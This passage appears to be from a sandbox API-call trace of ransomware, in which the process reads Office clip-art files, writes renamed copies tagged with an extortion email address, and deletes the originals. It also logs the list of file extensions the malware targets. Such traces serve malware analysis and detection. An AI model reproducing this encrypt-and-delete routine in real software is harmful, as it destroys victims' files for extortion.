Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.721] lstrlenW (lpString=".jpg") returned 4 [0082.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.722] lstrlenW (lpString=".doc") returned 4 [0082.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.722] lstrlenW (lpString=".docx") returned 5 [0082.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.722] lstrlenW (lpString=".pdf") returned 4 [0082.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.722] lstrlenW (lpString=".xls") returned 4 [0082.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.722] lstrlenW (lpString=".xlsx") returned 5 [0082.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.722] lstrlenW (lpString=".ppt") returned 4 [0082.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.722] lstrlenW (lpString=".zip") returned 4 [0082.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.722] lstrlenW (lpString=".rar") returned 4 [0082.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.722] lstrlenW (lpString=".bz2") returned 4 [0082.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.722] lstrlenW (lpString=".7z") returned 3 [0082.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.722] lstrlenW (lpString=".dbf") returned 4 [0082.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.722] lstrlenW (lpString=".1cd") returned 4 [0082.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.722] lstrlenW (lpString=".jpg") returned 4 [0082.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.722] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.722] lstrlenW (lpString="DD00372_.WMF") returned 12 [0082.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.723] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=792) returned 1 [0082.723] CloseHandle (hObject=0x374) returned 1 [0082.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0082.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.723] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.723] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.724] GetLastError () returned 0x0 [0082.724] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x318, lpOverlapped=0x0) returned 1 [0082.725] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x320, lpOverlapped=0x0) returned 1 [0082.726] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.726] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0082.726] SetEndOfFile (hFile=0x33c) returned 1 [0082.726] CloseHandle (hObject=0x33c) returned 1 [0082.730] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.730] SetEndOfFile (hFile=0x374) returned 1 [0082.731] CloseHandle (hObject=0x374) returned 1 [0082.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0082.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.732] lstrlenW (lpString=".doc") returned 4 [0082.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.732] lstrlenW (lpString=".docx") returned 5 [0082.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.732] lstrlenW (lpString=".pdf") returned 4 [0082.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.732] lstrlenW (lpString=".xls") returned 4 [0082.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.732] lstrlenW (lpString=".xlsx") returned 5 [0082.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.732] lstrlenW (lpString=".ppt") returned 4 [0082.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.732] lstrlenW (lpString=".zip") returned 4 [0082.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.732] lstrlenW (lpString=".rar") returned 4 [0082.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.732] lstrlenW (lpString=".bz2") returned 4 [0082.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.732] lstrlenW (lpString=".7z") returned 3 [0082.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.733] lstrlenW (lpString=".dbf") returned 4 [0082.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.733] lstrlenW (lpString=".1cd") returned 4 [0082.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.733] lstrlenW (lpString=".jpg") returned 4 [0082.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.733] lstrlenW (lpString=".doc") returned 4 [0082.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.733] lstrlenW (lpString=".docx") returned 5 [0082.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.733] lstrlenW (lpString=".pdf") returned 4 [0082.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.733] lstrlenW (lpString=".xls") returned 4 [0082.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.733] lstrlenW (lpString=".xlsx") returned 5 [0082.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.733] lstrlenW (lpString=".ppt") returned 4 [0082.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.733] lstrlenW (lpString=".zip") returned 4 [0082.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.733] lstrlenW (lpString=".rar") returned 4 [0082.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.733] lstrlenW (lpString=".bz2") returned 4 [0082.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.733] lstrlenW (lpString=".7z") returned 3 [0082.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.733] lstrlenW (lpString=".dbf") returned 4 [0082.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.734] lstrlenW (lpString=".1cd") returned 4 [0082.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0082.734] lstrlenW (lpString=".jpg") returned 4 [0082.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.734] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.734] lstrlenW (lpString="DD00405_.WMF") returned 12 [0082.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.734] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=17584) returned 1 [0082.734] CloseHandle (hObject=0x374) returned 1 [0082.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0082.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.735] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.735] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.735] GetLastError () returned 0x0 [0082.735] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x44b0, lpOverlapped=0x0) returned 1 [0082.738] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x44c0, lpOverlapped=0x0) returned 1 [0082.740] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.740] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0082.740] SetEndOfFile (hFile=0x33c) returned 1 [0082.740] CloseHandle (hObject=0x33c) returned 1 [0082.741] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.741] SetEndOfFile (hFile=0x374) returned 1 [0082.742] CloseHandle (hObject=0x374) returned 1 [0082.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0082.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.743] lstrlenW (lpString=".doc") returned 4 [0082.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.743] lstrlenW (lpString=".docx") returned 5 [0082.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.743] lstrlenW (lpString=".pdf") returned 4 [0082.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.743] lstrlenW (lpString=".xls") returned 4 [0082.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.743] lstrlenW (lpString=".xlsx") returned 5 [0082.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.743] lstrlenW (lpString=".ppt") returned 4 [0082.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.743] lstrlenW (lpString=".zip") returned 4 [0082.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.743] lstrlenW (lpString=".rar") returned 4 [0082.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.743] lstrlenW (lpString=".bz2") returned 4 [0082.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.743] lstrlenW (lpString=".7z") returned 3 [0082.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.743] lstrlenW (lpString=".dbf") returned 4 [0082.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.744] lstrlenW (lpString=".1cd") returned 4 [0082.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.744] lstrlenW (lpString=".jpg") returned 4 [0082.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.744] lstrlenW (lpString=".doc") returned 4 [0082.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.744] lstrlenW (lpString=".docx") returned 5 [0082.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.744] lstrlenW (lpString=".pdf") returned 4 [0082.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.744] lstrlenW (lpString=".xls") returned 4 [0082.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.744] lstrlenW (lpString=".xlsx") returned 5 [0082.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.744] lstrlenW (lpString=".ppt") returned 4 [0082.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.744] lstrlenW (lpString=".zip") returned 4 [0082.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.744] lstrlenW (lpString=".rar") returned 4 [0082.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.744] lstrlenW (lpString=".bz2") returned 4 [0082.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.744] lstrlenW (lpString=".7z") returned 3 [0082.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.744] lstrlenW (lpString=".dbf") returned 4 [0082.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.744] lstrlenW (lpString=".1cd") returned 4 [0082.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0082.745] lstrlenW (lpString=".jpg") returned 4 [0082.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.745] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.745] lstrlenW (lpString="DD00407_.WMF") returned 12 [0082.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.746] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=7828) returned 1 [0082.746] CloseHandle (hObject=0x374) returned 1 [0082.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0082.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.746] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.746] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.746] GetLastError () returned 0x0 [0082.746] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1e94, lpOverlapped=0x0) returned 1 [0083.325] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1ea0, lpOverlapped=0x0) returned 1 [0083.326] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0083.326] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0083.326] SetEndOfFile (hFile=0x33c) returned 1 [0083.326] CloseHandle (hObject=0x33c) returned 1 [0083.326] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.327] SetEndOfFile (hFile=0x374) returned 1 [0083.327] CloseHandle (hObject=0x374) returned 1 [0083.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.328] lstrlenW (lpString=".doc") returned 4 [0083.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.328] lstrlenW (lpString=".docx") returned 5 [0083.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.328] lstrlenW (lpString=".pdf") returned 4 [0083.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.328] lstrlenW (lpString=".xls") returned 4 [0083.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.328] lstrlenW (lpString=".xlsx") returned 5 [0083.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.328] lstrlenW (lpString=".ppt") returned 4 [0083.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.328] lstrlenW (lpString=".zip") returned 4 [0083.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.328] lstrlenW (lpString=".rar") returned 4 [0083.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.328] lstrlenW (lpString=".bz2") returned 4 [0083.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.328] lstrlenW (lpString=".7z") returned 3 [0083.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.328] lstrlenW (lpString=".dbf") returned 4 [0083.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.328] lstrlenW (lpString=".1cd") returned 4 [0083.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0083.329] lstrlenW (lpString=".jpg") returned 4 [0083.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 